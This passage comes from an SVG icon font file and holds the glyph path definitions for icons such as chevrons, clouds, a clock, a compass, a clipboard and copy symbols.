30.1653 -12.5013t30.1653 12.5013 q12.5013 12.5013 12.5013 30.1653zM85.3333 42.6667zM42.6667 42.6667v-0.00653076q0 -17.664 12.5013 -30.1653q12.5013 -12.5013 30.1653 -12.5013t30.1653 12.5013q12.5013 12.5013 12.5013 30.1653v0.00653076v0.00653076q0 17.664 -12.5013 30.1653 q-12.5013 12.5013 -30.1653 12.5013t-30.1653 -12.5013q-12.5013 -12.5013 -12.5013 -30.1653v-0.00653458z" /> <glyph glyph-name="chevron-down" unicode="" d="M286.165 542.165q-12.4008 11.977 -29.641 11.977q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653q0 -17.2402 11.977 -29.641l256 -256q12.496 -12.4922 30.1653 -12.4922q17.6694 0 30.1653 12.4922l256 256q13.0256 12.5806 13.0256 30.6897 q0 17.6641 -12.5013 30.1653q-12.5013 12.5013 -30.1653 12.5013q-18.1091 0 -30.6897 -13.0257l-225.835 -225.835z" /> <glyph glyph-name="chevron-left" unicode="" d="M670.165 609.835q13.0256 12.5806 13.0256 30.6896q0 17.664 -12.5013 30.1653t-30.1653 12.5013q-18.109 0 -30.6897 -13.0256l-256 -256q-12.4922 -12.496 -12.4922 -30.1653t12.4922 -30.1653l256 -256q12.4008 -11.977 29.641 -11.977q17.664 0 30.1653 12.5013 t12.5013 30.1653q0 17.2403 -11.977 29.641l-225.835 225.835z" /> <glyph glyph-name="chevron-right" unicode="" d="M353.835 158.165q-11.977 -12.4007 -11.977 -29.641q0 -17.664 12.5013 -30.1653t30.1653 -12.5013q17.2403 0 29.641 11.977l256 256q12.4922 12.4961 12.4922 30.1653q0 17.6693 -12.4922 30.1653l-256 256q-12.4007 11.977 -29.641 11.977 q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653q0 -17.2404 11.977 -29.6411l225.835 -225.835z" /> <glyph glyph-name="chevron-up" unicode="" d="M737.835 225.835q12.4008 -11.977 29.641 -11.977q17.664 0 30.1653 12.5013t12.5013 30.1653q0 17.2403 -11.977 29.641l-256 256q-12.496 12.4922 -30.1653 12.4922t-30.1653 -12.4922l-256 -256q-11.977 -12.4007 -11.977 -29.641q0 -17.664 12.5013 -30.1653 t30.1653 -12.5013q17.2403 0 29.641 11.977l225.835 225.835z" /> <glyph glyph-name="chevrons-down" unicode="" d="M328.832 371.499q-12.5805 13.0256 -30.6896 13.0256q-17.664 0 -30.1653 -12.5013q-12.5013 -12.5013 -12.5013 -30.1653q0 -18.1091 13.0257 -30.6896l213.333 -213.333q12.496 -12.4922 30.1653 -12.4922q17.6694 0 30.1653 12.4922l213.333 213.333 q11.9771 12.4008 11.9771 29.641q0 17.664 -12.5013 30.1653t-30.1653 12.5013q-17.2403 0 -29.6411 -11.9771l-183.168 -183.168zM328.832 670.165q-12.4007 11.977 -29.641 11.977q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653q0 -17.2402 11.977 -29.6411 l213.333 -213.333q12.496 -12.4922 30.1653 -12.4922q17.6694 0 30.1653 12.4922l213.333 213.333q13.0256 12.5806 13.0256 30.6896q0 17.6639 -12.5013 30.1653t-30.1653 12.5014q-18.1089 0 -30.6897 -13.0256l-183.168 -183.168z" /> <glyph glyph-name="chevrons-right" unicode="" d="M524.501 200.832q-11.9771 -12.4008 -11.9771 -29.641q0 -17.664 12.5013 -30.1653t30.1653 -12.5013q17.2403 0 29.6411 11.977l213.333 213.333q12.4922 12.4961 12.4922 30.1653q0 17.6693 -12.4922 30.1653l-213.333 213.333q-12.4008 11.9771 -29.6411 11.9771 q-17.6641 0 -30.1653 -12.5013q-12.5013 -12.5013 -12.5013 -30.1653q0 -17.2404 11.977 -29.6411l183.168 -183.168zM225.835 200.832q-11.977 -12.4008 -11.977 -29.641q0 -17.664 12.5013 -30.1653t30.1653 -12.5013q17.2403 0 29.641 11.977l213.333 213.333 q12.4922 12.496 12.4922 30.1653t-12.4922 30.1653l-213.333 213.333q-12.4007 11.977 -29.641 11.977q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653q0 -17.2403 11.977 -29.6411l183.168 -183.168z" /> <glyph glyph-name="chevrons-up" unicode="" d="M695.168 396.501q12.4008 -11.977 29.6411 -11.977q17.6639 0 30.1653 12.5013t12.5013 30.1653q0 17.2403 -11.977 29.641l-213.333 213.333q-12.4959 12.4922 -30.1653 12.4922q-17.6693 0 -30.1653 -12.4922l-213.333 -213.333q-11.977 -12.4007 -11.977 -29.641 q0 -17.664 12.5013 -30.1653t30.1653 -12.5013q17.2403 0 29.641 11.9771l183.168 183.168zM512 281.003l183.168 -183.168q12.4008 -11.977 29.641 -11.977q17.664 0 30.1653 12.5013t12.5013 30.1653q0 17.2403 -11.977 29.641l-213.333 213.333 q-12.4959 12.4922 -30.1653 12.4922q-17.6693 0 -30.1653 -12.4922l-213.333 -213.333q-11.977 -12.4007 -11.977 -29.641q0 -17.664 12.5013 -30.1653t30.1653 -12.5013q17.2403 0 29.641 11.977z" /> <glyph glyph-name="chevrons-left" unicode="" d="M499.499 567.168q13.0256 12.5805 13.0256 30.6896q0 17.664 -12.5013 30.1653t-30.1653 12.5013q-18.1091 0 -30.6896 -13.0256l-213.333 -213.333q-12.4922 -12.496 -12.4922 -30.1653t12.4922 -30.1653l213.333 -213.333q12.4007 -11.977 29.641 -11.977 q17.664 0 30.1653 12.5013t12.5013 30.1653q0 17.2403 -11.9771 29.641l-183.168 183.168zM798.165 567.168q13.0256 12.5806 13.0256 30.6896q0 17.6641 -12.5013 30.1654t-30.1653 12.5013q-18.109 0 -30.6897 -13.0256l-213.333 -213.333 q-12.4922 -12.4961 -12.4922 -30.1653q0 -17.6693 12.4922 -30.1653l213.333 -213.333q12.4008 -11.977 29.641 -11.977q17.664 0 30.1653 12.5013t12.5013 30.1653q0 17.2403 -11.977 29.641l-183.168 183.168z" /> <glyph glyph-name="circle" unicode="" d="M512 -85.3333q-95.4834 0 -182.397 37.1694t-149.756 100.011t-100.011 149.756q-37.1694 86.9139 -37.1694 182.397q0 95.4834 37.1694 182.397q37.1694 86.9138 100.011 149.755q62.8417 62.8417 149.756 100.011q86.9138 37.1694 182.397 37.1694 q95.4833 0 182.397 -37.1694t149.756 -100.011q62.8417 -62.8417 100.011 -149.755t37.1694 -182.397q0 -95.4833 -37.1694 -182.397t-100.011 -149.756q-62.8417 -62.8417 -149.755 -100.011q-86.9138 -37.1694 -182.398 -37.1694zM512 -2.87646e-06 q104.256 0 192.72 51.408q88.4642 51.408 139.872 139.872q51.408 88.4641 51.408 192.72q0 159 -112.5 271.5t-271.5 112.5t-271.5 -112.5t-112.5 -271.5q0 -104.256 51.4079 -192.72q51.4079 -88.4642 139.872 -139.872t192.72 -51.408z" /> <glyph glyph-name="clipboard" unicode="" d="M298.667 768q0.160065 35.2517 25.1404 60.2925q24.9804 25.0408 60.0649 25.0408h256.256q35.3231 0 60.1841 -24.9042q24.8611 -24.9042 25.0212 -60.4291h42.6667q53 0 90.5 -37.5t37.5 -90.5v-597.333q0 -52.992 -37.504 -90.496q-37.504 -37.504 -90.496 -37.504 h-512q-52.992 0 -90.496 37.504q-37.504 37.504 -37.504 90.496v597.333q0 53 37.5 90.5t90.5 37.5h42.6667zM298.667 682.667h-42.6667q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653v-597.333q0 -17.664 12.5013 -30.1653q12.5013 -12.5013 30.1653 -12.5013h512 q17.664 0 30.1653 12.5013q12.5013 12.5013 12.5013 30.1653v597.333q0 17.664 -12.5013 30.1653t-30.1653 12.5013h-42.6667q-0.160034 -35.2516 -25.1404 -60.2925t-60.0649 -25.0408h-256.256q-35.275 0.0176392 -60.2402 24.9954q-24.9652 24.9777 -24.9652 60.2526z M383.872 768l0.127991 -0.426697v-84.48l-0.0852966 -0.426636h256.213l-0.127991 0.426636v84.48l0.0853271 0.426697h-256.213z" /> <glyph glyph-name="chrome" unicode="" d="M462.379 -82.7733q-2.9249 0.141014 -5.80267 0.682663q-115.259 13.5661 -209.988 78.4471t-149.325 167.173q-54.5962 102.292 -54.5962 220.47q0 152.559 89.3867 275.584q2.03531 3.35077 4.65067 6.27197q58.2007 77.6157 168.05 132.547 q109.849 54.9309 206.862 54.9309l0.38382 -0.000183105h0.0444336q128.035 0 254.41 -83.2589q126.375 -83.2588 176.905 -200.901q37.9733 -88.2731 37.9733 -185.173q0 -95.4833 -37.1694 -182.397q-37.1694 -86.9139 -100.011 -149.756 q-62.8417 -62.8417 -149.755 -100.011q-86.9138 -37.1694 -182.397 -37.1694q-25.1093 0 -49.6217 2.55989zM441.771 6.4l95.616 165.76q-12.6666 -1.52039 -25.4241 -1.52039q-53.5173 0 -108.925 33.574q-55.4075 33.574 -80.1792 81.0131l-155.307 268.672 q-16.3747 -33.1481 -27.9635 -82.7742q-11.5888 -49.626 -11.5888 -86.598l0.000366211 -0.52652q0 -139.969 89.4003 -246.316q89.4003 -106.348 224.371 -131.284zM537.088 0.810669q97.4761 6.35225 180.188 59.9092q82.7114 53.557 130.776 139.576 q48.0649 86.0191 48.0649 183.702q0 65.8853 -21.9621 128.002h-191.488q42.6667 -56.7984 42.6667 -128q0 -61.9263 -33.024 -114.091zM619.477 314.453l3.20001 5.54666q0.947571 1.67657 1.79199 2.85867q15.5053 28.5639 15.5053 61.0651q0 52.992 -37.504 90.496 t-90.496 37.504t-90.496 -37.504t-37.504 -90.496q0 -30.7109 13.9347 -58.0784l3.41333 -5.84534q0.778473 -1.31683 1.53601 -2.90134q15.4878 -25.3376 47.4659 -43.2697q31.9781 -17.9322 61.6743 -17.9322q28.852 0 60.3432 17.1571q31.4911 17.1571 47.1353 41.3995z M220.16 633.515l95.7013 -165.589q22.9308 53.5691 80.3994 91.4857q57.4686 37.9166 115.739 37.9223h319.317q-47.1544 70.656 -140.646 120.661t-178.437 50.0054l-0.234497 -6.10352e-05l-0.430847 0.000244141q-73.1831 0 -158.591 -39.4043 q-85.4079 -39.4042 -132.904 -95.0813h0.0866547z" /> <glyph glyph-name="clock" unicode="" d="M512 -85.3333q-95.4834 0 -182.397 37.1694t-149.756 100.011t-100.011 149.756q-37.1694 86.9139 -37.1694 182.397q0 95.4834 37.1694 182.397q37.1694 86.9138 100.011 149.755q62.8417 62.8417 149.756 100.011q86.9138 37.1694 182.397 37.1694 q95.4833 0 182.397 -37.1694t149.756 -100.011q62.8417 -62.8417 100.011 -149.755t37.1694 -182.397q0 -95.4833 -37.1694 -182.397t-100.011 -149.756q-62.8417 -62.8417 -149.755 -100.011q-86.9138 -37.1694 -182.398 -37.1694zM512 -2.87646e-06 q104.256 0 192.72 51.408q88.4642 51.408 139.872 139.872q51.408 88.4641 51.408 192.72q0 159 -112.5 271.5t-271.5 112.5t-271.5 -112.5t-112.5 -271.5q0 -104.256 51.4079 -192.72q51.4079 -88.4642 139.872 -139.872t192.72 -51.408zM554.667 640 q0 17.664 -12.5013 30.1653t-30.1653 12.5013t-30.1653 -12.5013t-12.5013 -30.1653v-256q0.00372314 -17.6715 12.5013 -30.1653l128 -128q12.4008 -11.977 29.641 -11.977q17.664 0 30.1653 12.5013t12.5013 30.1653q0 17.2403 -11.977 29.641l-115.499 115.499z" /> <glyph glyph-name="cloud-lightning" unicode="" d="M384.07 896h-0.038147q-104.255 0 -192.718 -51.4075t-139.871 -139.871q-51.4075 -88.4633 -51.4075 -192.718q0 -93.7272 58.0418 -192.174q58.0418 -98.4471 140.053 -143.823q9.47714 -5.10799 20.2432 -5.10799q17.6638 0 30.165 12.5012 q12.5012 12.5012 12.5012 30.1651q0 10.286 -6.3313 21.1585q-6.33128 10.8726 -15.2772 15.9492q-63.7573 35.2984 -108.88 111.857q-45.1229 76.5585 -45.1229 149.435q0 123.647 87.5085 211.155q87.5085 87.5085 211.155 87.5085q95.7631 0 180.49 -65.6199 q84.7267 -65.6199 108.68 -158.339q3.41962 -13.2446 15.5209 -22.6204q12.1013 -9.37592 25.7801 -9.37927h53.7595l0.214417 0.00012207q70.6553 0 120.66 -50.0049q50.0049 -50.0049 50.0049 -120.66q0 -57.7503 -40.0542 -106.755q-40.0543 -49.0048 -96.6496 -60.4967 q-14.1487 -2.87306 -24.1622 -15.1243q-10.0135 -12.2512 -10.0135 -26.6887q0 -17.6639 12.5012 -30.1651t30.1651 -12.5012q4.28821 0 8.49054 0.853348q84.8929 17.238 144.974 90.7452q60.0811 73.5072 60.0812 160.133q0 105.983 -75.0073 180.99t-180.99 75.0073 l-0.257324 -0.00012207h-22.1865q-37.4694 105.979 -143.542 180.987t-218.481 75.0106zM434.16 -61.6442q-7.17325 -10.7534 -7.17325 -23.6798q0 -17.666 12.5027 -30.1688q12.5028 -12.5028 30.1688 -12.5028q9.45139 0 19.8524 5.56459q10.4011 5.5646 15.6459 13.4272 l170.665 255.998q7.17432 10.7531 7.17432 23.6798q0 17.6638 -12.5012 30.165t-30.165 12.5012h-0.00634766h-176.254l126.42 189.652q7.17322 10.7535 7.17322 23.6798q0 17.666 -12.5028 30.1688t-30.1688 12.5028q-9.45135 0 -19.8524 -5.56461 q-10.4011 -5.56458 -15.6459 -13.4272l-170.665 -255.998q-7.17432 -10.753 -7.17432 -23.6798q0 -17.6638 12.5012 -30.165t30.165 -12.5012h0.00637817h176.254z" /> <glyph glyph-name="cloud-drizzle" unicode="" d="M298.832 85.3333v-85.3333q0.00271606 -17.6613 12.504 -30.1607q12.5013 -12.4994 30.1626 -12.4994t30.1626 12.4994t12.5041 30.1607v85.3333q-0.00268555 17.6613 -12.504 30.1607t-30.1627 12.4994t-30.1627 -12.4994t-12.5039 -30.1607zM298.832 341.333v-85.3333 q0.00271606 -17.6613 12.504 -30.1607q12.5013 -12.4994 30.1626 -12.4994t30.1626 12.4994q12.5014 12.4994 12.5041 30.1607v85.3333q-0.00268555 17.6613 -12.504 30.1607q-12.5013 12.4994 -30.1626 12.4994t-30.1626 -12.4994t-12.5041 -30.1607zM640.165 85.3333 v-85.3333q0.00274658 -17.6613 12.5041 -30.1607q12.5013 -12.4994 30.1626 -12.4994t30.1626 12.4994t12.504 30.1607v85.3333q-0.00262451 17.6613 -12.504 30.1607q-12.5013 12.4994 -30.1627 12.4994q-17.6613 0 -30.1626 -12.4994t-12.504 -30.1607zM640.165 341.333 v-85.3333q0.00274658 -17.6613 12.504 -30.1607t30.1627 -12.4994q17.6613 0 30.1626 12.4994t12.504 30.1607v85.3333q-0.00268555 17.6613 -12.504 30.1607q-12.5014 12.4994 -30.1627 12.4994t-30.1626 -12.4994t-12.504 -30.1607zM469.498 0v-85.3333 q0 -17.664 12.5013 -30.1653t30.1653 -12.5013t30.1653 12.5013t12.5013 30.1653v85.3333q0 17.664 -12.5013 30.1653t-30.1653 12.5013t-30.1653 -12.5013t-12.5013 -30.1653zM469.498 256v-85.3333q0 -17.664 12.5013 -30.1653t30.1653 -12.5013t30.1653 12.5013 t12.5013 30.1653v85.3333q0 17.664 -12.5013 30.1653t-30.1653 12.5013t-30.1653 -12.5013t-12.5013 -30.1653zM405.498 895.36q-10.7287 0.600952 -21.4753 0.600952q-104.256 0 -192.72 -51.408q-88.4642 -51.4079 -139.872 -139.872q-51.408 -88.4642 -51.408 -192.72 q0 -76.4299 42.2461 -164.303q42.2461 -87.8731 101.939 -135.605q11.4281 -8.65823 25.7657 -8.65823q17.664 0 30.1653 12.5013t12.5013 30.1653q0 19.8507 -15.1844 32.6369q-46.4523 37.1251 -79.3279 105.485q-32.8756 68.3596 -32.8756 127.825 q0 123.648 87.5093 211.157q87.5093 87.5093 211.157 87.5093q95.7801 0 180.511 -65.6343q84.7312 -65.6343 108.674 -158.374q3.41968 -13.2446 15.521 -22.6206q12.1014 -9.37598 25.7803 -9.37939h53.76q70.5552 -0.100586 120.489 -50.1059t49.934 -120.561 q0 -46.1905 -29.9445 -91.9954t-72.2548 -64.3354q-10.3873 -4.69606 -17.7386 -16.0873q-7.35132 -11.3913 -7.35132 -22.7907q0 -17.664 12.5013 -30.1653q12.5014 -12.5013 30.1653 -12.5013q8.66406 0 16.6419 3.37938q63.4658 27.7958 108.382 96.5032 q44.9165 68.7073 44.9165 137.993q0 105.859 -74.9197 180.867t-180.779 75.1326h-22.2293q-35.2886 99.7805 -135.049 174.601q-99.7607 74.8205 -205.431 80.7599z" /> <glyph glyph-name="cloud-rain" unicode="" d="M640.165 341.333v-341.333q0.00274658 -17.6613 12.5041 -30.1607q12.5013 -12.4994 30.1626 -12.4994t30.1626 12.4994t12.504 30.1607v341.333q-0.00268555 17.6613 -12.504 30.1607q-12.5014 12.4994 -30.1627 12.4994t-30.1626 -12.4994t-12.504 -30.1607z M298.832 341.333v-341.333q0.00271606 -17.6613 12.504 -30.1607q12.5013 -12.4994 30.1626 -12.4994t30.1626 12.4994t12.5041 30.1607v341.333q-0.00268555 17.6613 -12.504 30.1607q-12.5013 12.4994 -30.1626 12.4994t-30.1626 -12.4994t-12.5041 -30.1607zM469.498 256 v-341.333q0 -17.664 12.5013 -30.1653t30.1653 -12.5013t30.1653 12.5013t12.5013 30.1653v341.333q0 17.664 -12.5013 30.1653t-30.1653 12.5013t-30.1653 -12.5013t-12.5013 -30.1653zM405.498 895.36q-10.7287 0.600952 -21.4753 0.600952q-104.256 0 -192.72 -51.408 q-88.4642 -51.4079 -139.872 -139.872q-51.408 -88.4642 -51.408 -192.72q0 -76.4299 42.2461 -164.303q42.2461 -87.8731 101.939 -135.605q11.4281 -8.65823 25.7657 -8.65823q17.664 0 30.1653 12.5013t12.5013 30.1653q0 19.8507 -15.1844 32.6369 q-46.4523 37.1251 -79.3279 105.485q-32.8756 68.3596 -32.8756 127.825q0 123.648 87.5093 211.157q87.5093 87.5093 211.157 87.5093q95.7801 0 180.511 -65.6343q84.7312 -65.6343 108.674 -158.374q3.41968 -13.2446 15.521 -22.6206q12.1014 -9.37598 25.7803 -9.37939 h53.76q70.5552 -0.100586 120.489 -50.1059t49.934 -120.561q0 -46.1905 -29.9445 -91.9954t-72.2548 -64.3354q-10.3873 -4.69606 -17.7386 -16.0873q-7.35132 -11.3913 -7.35132 -22.7907q0 -17.664 12.5013 -30.1653q12.5014 -12.5013 30.1653 -12.5013 q8.66406 0 16.6419 3.37938q63.4658 27.7958 108.382 96.5032q44.9165 68.7073 44.9165 137.993q0 105.859 -74.9197 180.867t-180.779 75.1326h-22.2293q-35.2886 99.7805 -135.049 174.601q-99.7607 74.8205 -205.431 80.7599z" /> <glyph glyph-name="cloud-off" unicode="" d="M420.662 767.37q-1.82129 0.157043 -3.64935 0.157043q-16.1537 0 -28.554 -11.3914t-13.7678 -27.4871q-0.173981 -1.91821 -0.173981 -3.84442q0 -16.0814 11.3339 -28.4995q11.3339 -12.418 27.3483 -13.8831q87.061 -7.88904 163.705 -73.4874t97.8783 -150.398 q3.31854 -13.2929 15.3636 -22.7141q12.0451 -9.42117 25.746 -9.44003h53.4339l0.0993652 3.05176e-05q37.7929 0 79.2469 -22.3409q41.454 -22.341 62.2344 -53.908q11.7054 -17.7652 19.9896 -45.3946q8.28418 -27.6294 8.28418 -48.9041q0 -34.614 -13.4333 -66.5148 q-3.35638 -7.96089 -3.35638 -16.6003q0 -11.6568 7.58075 -23.1613q7.58069 -11.5045 18.2921 -16.1031q7.94427 -3.38405 16.579 -3.38405q11.6605 0 23.0963 7.61385q11.4359 7.61385 15.9335 18.3719q20.1473 47.8464 20.1473 99.7614q0 31.9097 -12.4255 73.351 t-29.9824 68.0865q-31.1687 47.3683 -93.3578 80.8922t-118.892 33.5239l-0.120972 -3.05176e-05h-21.8768q-33.4063 96.6531 -129.13 171.573q-95.7236 74.9197 -197.572 84.1255zM197.544 719.608q-114.979 -63.9664 -166.458 -185.541 q-51.4786 -121.575 -17.6395 -249.223q33.8693 -127.674 138.699 -207.326q104.83 -79.6523 236.191 -77.5413h380.989q44.464 0 86.5689 15.3521q16.5021 6.0444 23.9285 22.0358q7.42645 15.9914 1.44513 32.5922q-4.15833 11.6285 -15.8412 19.8583 q-11.6829 8.22977 -24.0324 8.22977q-7.45166 0 -14.4558 -2.5438q-28.1131 -10.2347 -57.6558 -10.2347h-381.628q-2.38364 -0.0382309 -4.76746 -0.0382309q-94.8603 0 -179.091 64.9223q-84.2309 64.9223 -108.386 156.656q-10.074 37.8307 -10.074 76.9796 q0 72.6697 44.8971 149.187q44.8971 76.5172 108.335 111.964q15.3542 8.54083 20.2296 25.5229t-3.59816 32.4314q-4.97447 9.1134 -15.8432 15.5633q-10.8687 6.44983 -21.2515 6.44983q-10.9738 0 -20.5611 -5.33899zM13.0202 822.68l938.185 -938.185 q12.3944 -11.9709 29.6259 -11.9709q17.6549 0 30.1498 12.4949t12.4949 30.1499q0 17.2314 -11.9709 29.6259l-938.185 938.185q-12.5741 13.0188 -30.6737 13.0188q-17.655 0 -30.1499 -12.4949t-12.4949 -30.1499q0 -18.0996 13.0188 -30.6738z" /> <glyph glyph-name="codepen" unicode="" d="M535.253 846.421l426.667 -277.333q8.03284 -5.22162 13.7209 -15.6978q5.68805 -10.4761 5.69232 -20.0569v-298.667q-0.00421143 -9.58092 -5.69232 -20.057q-5.68805 -10.4761 -13.721 -15.6977l-426.667 -277.333q-10.605 -6.89339 -23.2533 -6.89339 q-12.6484 0 -23.2533 6.89339l-426.667 277.333q-8.03294 5.22159 -13.721 15.6977q-5.6881 10.4761 -5.69227 20.057v298.667q0.00418091 9.58087 5.6923 20.0569q5.68812 10.4761 13.721 15.6977l426.667 277.333q10.6049 6.89337 23.2533 6.89337 q12.6483 0 23.2534 -6.89325zM469.333 732.075l-307.712 -200.107l137.045 -95.872l170.667 119.467v176.469v0.0430298zM554.667 732.075v-176.555l170.667 -119.467l137.045 95.9147l-307.712 200.064v0.0432739zM512 286.72l138.923 97.28l-138.923 97.28 l-138.923 -97.28zM896 316.587v134.741l-96.256 -67.328zM862.379 235.947l-137.045 95.9573l-170.667 -119.467v-176.469l307.712 200.021v-0.0422974zM161.621 235.947l307.712 -199.979v176.469l-170.667 119.467l-137.045 -95.9147zM128 316.587l96.256 67.4133 l-96.256 67.4133v-134.827z" /> <glyph glyph-name="cloud-snow" unicode="" d="M405.632 852.693q-10.7517 0.603577 -21.5212 0.603577q-104.256 0 -192.72 -51.4079q-88.4641 -51.408 -139.872 -139.872t-51.408 -192.72q0 -76.4309 42.2471 -164.305q42.2471 -87.8737 101.941 -135.606q11.6258 -9.17807 26.4378 -9.17807 q17.664 0 30.1653 12.5013t12.5013 30.1653q0 20.3495 -15.8138 33.1567q-46.4745 37.1254 -79.3659 105.498t-32.8914 127.855q0 123.648 87.5094 211.157q87.5093 87.5093 211.157 87.5093q95.7947 0 180.529 -65.647q84.7344 -65.647 108.667 -158.404 q3.41968 -13.2447 15.5211 -22.6207q12.1013 -9.37598 25.7803 -9.37933h53.76q70.5728 -0.0830383 120.519 -50.0883q49.9465 -50.0053 49.9465 -120.578q0 -46.1905 -29.9443 -91.9954q-29.9443 -45.8049 -72.2548 -64.3354q-10.3873 -4.69609 -17.7386 -16.0873 t-7.35132 -22.7907q0 -17.664 12.5013 -30.1653q12.5013 -12.5014 30.1653 -12.5014q8.66412 0 16.642 3.37938q63.4656 27.7958 108.382 96.5032q44.9166 68.7074 44.9166 137.993q0 105.859 -74.9198 180.867t-180.779 75.1325h-22.272q-35.2885 99.7805 -135.049 174.601 q-99.7607 74.8204 -205.431 80.759zM682.667 256zM640 256v-0.00653076q0 -17.664 12.5013 -30.1653t30.1653 -12.5013q17.6641 0 30.1653 12.5013t12.5013 30.1654v0.0065155v0.00653076q0 17.664 -12.5013 30.1653t-30.1654 12.5013q-17.6639 0 -30.1653 -12.5013 t-12.5013 -30.1653zM512 170.667zM469.333 170.667q0 -17.664 12.5013 -30.1653t30.1653 -12.5013t30.1653 12.5013t12.5013 30.1653t-12.5013 30.1653t-30.1653 12.5013t-30.1653 -12.5013q-12.5013 -12.5013 -12.5013 -30.1653zM341.333 256zM298.667 256v-0.00653076 q0 -17.664 12.5013 -30.1653t30.1653 -12.5013t30.1654 12.5013q12.5013 12.5013 12.5013 30.1653v0.00653076v0.00653076q0 17.664 -12.5013 30.1653t-30.1653 12.5013t-30.1653 -12.5013t-12.5013 -30.1653zM341.333 42.6667zM298.667 42.6667v-0.00653076 q0 -17.664 12.5013 -30.1653q12.5013 -12.5013 30.1653 -12.5013t30.1653 12.5013q12.5013 12.5013 12.5013 30.1653v0.00653076v0.00653076q0 17.664 -12.5013 30.1653q-12.5013 12.5013 -30.1653 12.5013t-30.1653 -12.5013q-12.5013 -12.5013 -12.5013 -30.1653 v-0.00653458zM512 -42.6667zM469.333 -42.6667q0 -17.664 12.5013 -30.1653q12.5013 -12.5013 30.1653 -12.5013t30.1653 12.5013q12.5013 12.5013 12.5013 30.1653q0 17.664 -12.5013 30.1653q-12.5013 12.5013 -30.1654 12.5013q-17.664 0 -30.1653 -12.5013 q-12.5013 -12.5013 -12.5012 -30.1653zM682.667 42.6667zM640 42.6667v-0.00653076q0 -17.664 12.5013 -30.1653q12.5013 -12.5013 30.1653 -12.5013q17.6641 0 30.1653 12.5013q12.5012 12.5013 12.5013 30.1654v0.00653076v0.00653076q0 17.664 -12.5013 30.1653 q-12.5013 12.5013 -30.1654 12.5013q-17.664 0 -30.1653 -12.5014q-12.5013 -12.5013 -12.5013 -30.1653zM682.667 42.6667zM640 42.6667v-0.00653076q0 -17.664 12.5013 -30.1653q12.5013 -12.5013 30.1653 -12.5013q17.6641 0 30.1653 12.5013 q12.5012 12.5013 12.5013 30.1654v0.00653076v0.00653076q0 17.664 -12.5013 30.1653q-12.5013 12.5013 -30.1654 12.5013q-17.664 0 -30.1653 -12.5014q-12.5013 -12.5013 -12.5013 -30.1653z" /> <glyph glyph-name="compass" unicode="" d="M512 -85.3333q-95.4834 0 -182.397 37.1694t-149.756 100.011t-100.011 149.756q-37.1694 86.9139 -37.1694 182.397q0 95.4834 37.1694 182.397q37.1694 86.9138 100.011 149.755q62.8417 62.8417 149.756 100.011q86.9138 37.1694 182.397 37.1694 q95.4833 0 182.397 -37.1694t149.756 -100.011q62.8417 -62.8417 100.011 -149.755t37.1694 -182.397q0 -95.4833 -37.1694 -182.397t-100.011 -149.756q-62.8417 -62.8417 -149.755 -100.011q-86.9138 -37.1694 -182.398 -37.1694zM512 -2.87646e-06 q104.256 0 192.72 51.408q88.4642 51.408 139.872 139.872q51.408 88.4641 51.408 192.72q0 159 -112.5 271.5t-271.5 112.5t-271.5 -112.5t-112.5 -271.5q0 -104.256 51.4079 -192.72q51.4079 -88.4642 139.872 -139.872t192.72 -51.408zM455.253 440.747l-56.6613 -170.24 l170.155 56.7467l56.7466 170.155l-170.155 -56.7467zM733.397 551.424l-90.4533 -271.36q-2.79224 -8.38898 -10.7056 -16.3023q-7.91345 -7.91335 -16.3024 -10.7057l-271.36 -90.4533q-6.57111 -2.19141 -13.4981 -2.19141q-17.664 0 -30.1653 12.5013t-12.5013 30.1653 q0 6.92693 2.19141 13.4981l90.4533 271.36q2.79227 8.38898 10.7056 16.3023q7.91336 7.91336 16.3024 10.7057l271.36 90.4533q6.57111 2.19141 13.498 2.19141q17.664 0 30.1653 -12.5013t12.5013 -30.1653q0 -6.92694 -2.19116 -13.4982z" /> <glyph glyph-name="copy" unicode="" d="M426.667 426.539v-383.744l-0.000183105 -0.128193q0 -17.664 12.5013 -30.1653q12.5013 -12.5013 30.1653 -12.5013l0.128204 0.000192607h383.744l0.128174 -0.000192611q17.664 0 30.1653 12.5013q12.5013 12.5013 12.5013 30.1653l-0.000183105 0.128193v383.744 l0.000183105 0.128204q0 17.664 -12.5014 30.1653q-12.5013 12.5013 -30.1653 12.5013l-0.128174 -0.000183105h-383.744l-0.128204 0.000183105q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653zM341.333 426.539l-6.10352e-05 0.128052q0 52.992 37.504 90.496 q37.504 37.504 90.496 37.504l0.128082 -6.10352e-05h383.744l0.128052 6.10352e-05q52.9919 0 90.496 -37.504t37.504 -90.496l-6.10352e-05 -0.128082v-383.744l6.10352e-05 -0.128063q0 -52.992 -37.504 -90.496q-37.504 -37.504 -90.496 -37.504l-0.128052 6.10352e-05 h-383.744l-0.128052 -6.10352e-05q-52.992 0 -90.496 37.504t-37.504 90.496l6.10352e-05 0.128067zM213.333 298.667h-42.6667q-17.664 0 -30.1653 12.5013t-12.5013 30.1653v384q0 17.664 12.5013 30.1653t30.1653 12.5013h384q17.664 0 30.1653 -12.5013 t12.5013 -30.1653v-42.6667q0 -17.664 12.5013 -30.1653t30.1653 -12.5013t30.1653 12.5013t12.5013 30.1654v42.6667q0 52.9921 -37.504 90.496t-90.496 37.504h-384q-52.992 0 -90.496 -37.504q-37.504 -37.504 -37.504 -90.496v-384q0 -52.992 37.504 -90.496 q37.504 -37.504 90.496 -37.504h42.6667q17.664 0 30.1653 12.5013t12.5013 30.1653t-12.5013 30.1654q-12.5013 12.5013 -30.165 12.5013z" /> <glyph glyph-name="corner-down-right" unicode="" d="M609.835 72.832q-11.977 -12.4007 -11.977 -29.641q0 -17.664 12.5013 -30.1653q12.5013 -12.5013 30.1653 -12.5013q17.2403 0 29.6411 11.977l213.333 213.333q12.4922 12.4961 12.4922 30.1653q0 17.6693 -12.4922 30.1653l-213.333 213.333 q-12.4008 11.977 -29.641 11.977q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653q0 -17.2403 11.977 -29.641l183.168 -183.168zM128 725.333v-298.667q0 -88.32 62.5067 -150.827q62.5067 -62.5067 150.827 -62.5066h512q17.664 0 30.1653 12.5013t12.5013 30.1653 q0 17.664 -12.5014 30.1653q-12.5013 12.5013 -30.1653 12.5013h-512q-52.992 0 -90.496 37.504t-37.504 90.496v298.667v0.00653076q0 17.664 -12.5013 30.1653t-30.1653 12.5013t-30.1653 